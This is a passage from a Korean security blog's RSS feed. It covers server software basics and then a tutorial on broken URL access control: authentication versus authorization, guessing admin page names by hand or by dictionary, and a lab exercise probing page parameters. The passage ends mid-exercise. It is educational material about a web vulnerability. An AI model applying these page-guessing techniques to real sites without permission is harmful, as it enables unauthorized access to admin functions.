&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wybNk/btsNpCclVcq/PDtqK4yzHgMPA27AVrE9lk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wybNk/btsNpCclVcq/PDtqK4yzHgMPA27AVrE9lk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wybNk/btsNpCclVcq/PDtqK4yzHgMPA27AVrE9lk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwybNk%2FbtsNpCclVcq%2FPDtqK4yzHgMPA27AVrE9lk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;833&quot; height=&quot;324&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- x86서버 내 OS: 리눅스(오픈소스, 상용), 윈도우 서버(상용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 서버 OS(Operating System) 점유율&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 리눅스 점유율이 높아지고 있음(무료이기 때문에)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIRjY/btsNpSlHu7c/KNAQGp2qYVkOJkGC3CgqCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIRjY/btsNpSlHu7c/KNAQGp2qYVkOJkGC3CgqCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIRjY/btsNpSlHu7c/KNAQGp2qYVkOJkGC3CgqCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIRjY%2FbtsNpSlHu7c%2FKNAQGp2qYVkOJkGC3CgqCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;411&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 웹 서버(Apache, Nginx, IIS)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 OS(리눅스, 윈도우) 위에 아래 웹 서버를 설치하게되면 웹 서버의 역할이 가능한 서버가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 무료: Apache, Nginx&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 유료: Windows 서버를 구매하면 Microsoft IIS 사용 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SYMSy/btsNnV4D3WM/jsePbnVp4zs0VkEpzLI9s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SYMSy/btsNnV4D3WM/jsePbnVp4zs0VkEpzLI9s0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SYMSy/btsNnV4D3WM/jsePbnVp4zs0VkEpzLI9s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSYMSy%2FbtsNnV4D3WM%2FjsePbnVp4zs0VkEpzLI9s0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;920&quot; height=&quot;329&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어: 기타(파일서버, 메일서버)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FTP 서버: 파일을 송수신할 수 있도록 하는 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 OS 위에 파일 서버 소프트웨어 설치 시 파일을 주고 받을 수 있는 역할을 하는 서버가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 메일 서버: 메일 송수신할 수 있도록 하는 서버(Microsoft Exchange), Outlook(메일 클라이언트)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;381&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yp39r/btsNooNN4bw/T43o4krmS9j2nCjL7pFO9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yp39r/btsNooNN4bw/T43o4krmS9j2nCjL7pFO9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yp39r/btsNooNN4bw/T43o4krmS9j2nCjL7pFO9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyp39r%2FbtsNooNN4bw%2FT43o4krmS9j2nCjL7pFO9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;381&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;381&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>it 운영</category>
      <category>IT 인프라</category>
      <category>인프라</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/215</guid>
      <comments>https://it-log.tistory.com/215#entry215comment</comments>
      <pubDate>Fri, 18 Apr 2025 22:00:23 +0900</pubDate>
    </item>
    <item>
      <title>URL 접근 제한 미흡 취약점</title>
      <link>https://it-log.tistory.com/214</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) URL 접근 제한 미흡 취약점이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;URL 접근 제한 미흡 취약점(Failure to Restrict URL Access Vulnerability)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 또는 인가된 사용자가 접근이 가능한 페이지(관리자 페이지, 회원 전용 페이지)에 대해서 접근 제한이 존재하지 않거나, 접근 제한이 존재하지만 우회하여 접근할 수 있는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자 페이지에 일반 사용자가 접근, 인증하지 않은 사용자가 접근하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서 자주 발생하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SQL Injection, XSS, 파라미터 변조, URL 접근 제한 미흡 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션 기능 개발을 우선으로 하다보니 보안이 최우선이 아닌 경우 어쩔수 없이 취약점이 발생함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 인증과 인가에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Authentication(인증) vs Authorization(인가)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 로그인 유무 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 권한 확인(관리자, 일반 회원)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kTyJl/btsMyt1U4SX/bSMsVDXVbA5qKk8hZKVbp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kTyJl/btsMyt1U4SX/bSMsVDXVbA5qKk8hZKVbp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kTyJl/btsMyt1U4SX/bSMsVDXVbA5qKk8hZKVbp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkTyJl%2FbtsMyt1U4SX%2FbSMsVDXVbA5qKk8hZKVbp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1483&quot; height=&quot;492&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증: 로그인되지 않은 사용자가 회원 전용 페이지에 접근 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인가: 일반 회원이 관리자 페이지에 접근 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1n4Ak/btsMzhUMRGJ/3x68xfIElkHVRVpFzGsCSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1n4Ak/btsMzhUMRGJ/3x68xfIElkHVRVpFzGsCSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1n4Ak/btsMzhUMRGJ/3x68xfIElkHVRVpFzGsCSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1n4Ak%2FbtsMzhUMRGJ%2F3x68xfIElkHVRVpFzGsCSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;686&quot; height=&quot;660&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증: 회사 내부로 들어가기 위해서 사원증이 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인가: 사장실, 전무실, 상무실 등 임원 사무실로 들어가기 위해서는 해당 임원의 사원증이 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 공격 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uxqh2/btsMx6sYjie/NePgckszT6WV1EC4jrDuXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uxqh2/btsMx6sYjie/NePgckszT6WV1EC4jrDuXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uxqh2/btsMx6sYjie/NePgckszT6WV1EC4jrDuXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuxqh2%2FbtsMx6sYjie%2FNePgckszT6WV1EC4jrDuXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;571&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 접근 제한 미흡 취약점은 파라미터 변조 취약점과 유사하게 해킹인지 인식하지 못할정도로 간단하면서도 공격 페이로드가 명확하지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 admin 페이지에 권한이 있어 로그인 후 접근하지만, 공격자는 admin 페이지에 권한이 없지만 유추해서 접근한다. &amp;rarr; 접근 시도 후 실제 접근 여부 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;hxxp://www.victim.co.kr/&lt;span style=&quot;color: #ee2323;&quot;&gt;admin&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 어떤 페이지에 접속하는지 유추하여 접근한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수동적 유추 - admin, adm, manager 등 관리자명으로 사용하는 페이지 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동화 유추 - 사전 대입(자주 사용하는 디렉터리명 또는 페이지명 요청)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네이밍 패턴 파악하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 목록이 다음과 같다면 &amp;rarr; board List.do&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 작성은 이렇게 유추 가능 &amp;rarr; board Write.do, board Create.do, board Insert.do&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공지사항 게시글 번호 파라미터 유추&amp;rarr; board View.do?idx, board View.do?seq, &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;board View.do?num,&lt;span&gt; &lt;/span&gt;&lt;/span&gt;board View.do?no&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습10-1 URL 접근 제한 미흡 취약점 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 접근 제한 미흡 취약점을 실습하기 위해서는 웹 사이트의 페이지명을 알아야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정으로 접속 후 메인페이지를 확인하면 우측에 Write 버튼이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4KAoj/btsMyDD7qnv/HztK4ZIkenx7YptpeIpLDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4KAoj/btsMyDD7qnv/HztK4ZIkenx7YptpeIpLDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4KAoj/btsMyDD7qnv/HztK4ZIkenx7YptpeIpLDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4KAoj%2FbtsMyDD7qnv%2FHztK4ZIkenx7YptpeIpLDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;405&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그아웃 후 확인해보면 우측에 Write 버튼은 존재하지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4BAQd/btsMzY1LDR5/aMvhL0n121OUQy952wiPyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4BAQd/btsMzY1LDR5/aMvhL0n121OUQy952wiPyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4BAQd/btsMzY1LDR5/aMvhL0n121OUQy952wiPyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4BAQd%2FbtsMzY1LDR5%2FaMvhL0n121OUQy952wiPyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;394&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 창을 확인해보면 상단 URL에 page=login 이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;575&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nyrgm/btsMx3Di72w/XG69ea16bQJ1vTZXgaRixK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nyrgm/btsMx3Di72w/XG69ea16bQJ1vTZXgaRixK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nyrgm/btsMx3Di72w/XG69ea16bQJ1vTZXgaRixK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNyrgm%2FbtsMx3Di72w%2FXG69ea16bQJ1vTZXgaRixK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;575&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 페이지는 상단 URL 에 page=join 으로 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;905&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xq22S/btsMAGlZI97/40YjDKevtjobij0QGjdInk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xq22S/btsMAGlZI97/40YjDKevtjobij0QGjdInk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xq22S/btsMAGlZI97/40YjDKevtjobij0QGjdInk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxq22S%2FbtsMAGlZI97%2F40YjDKevtjobij0QGjdInk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;905&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 특정 기능을 하는 페이지는 page 라는 파라미터를 사용한다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 게시글 작성 페이지를 유추해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 에 page=insert 를 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 값이 아니라는 에러메시지가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nMbf9/btsMyuUMu2X/0ri7oSy9GiOcvDSVtYjPf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nMbf9/btsMyuUMu2X/0ri7oSy9GiOcvDSVtYjPf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nMbf9/btsMyuUMu2X/0ri7oSy9GiOcvDSVtYjPf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnMbf9%2FbtsMyuUMu2X%2F0ri7oSy9GiOcvDSVtYjPf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;244&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 에 page=create 를 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 값이 아니라는 에러메시지가 발생한다.&lt;/p&gt;
